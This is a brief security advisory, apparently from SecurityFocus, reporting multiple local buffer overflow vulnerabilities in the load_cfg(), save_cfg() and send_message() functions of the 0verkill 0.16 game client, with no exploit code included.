0verkill 0.16 Game Client Multiple Local Buffer Overflow Vulnerabilities

                                                source: http://www.securityfocus.com/bid/9550/info

The 0verkill game client has been reported prone to multiple instances of exploitable buffer overrun vulnerabilities. The functions that have been reported to be affected are load_cfg(), save_cfg() and send_message(). It has been reported that due to a lack of sufficient boundary checks performed on user supplied data, an attacker may exploit the issues to execute arbitrary instructions in the security context of the Overkill game client.
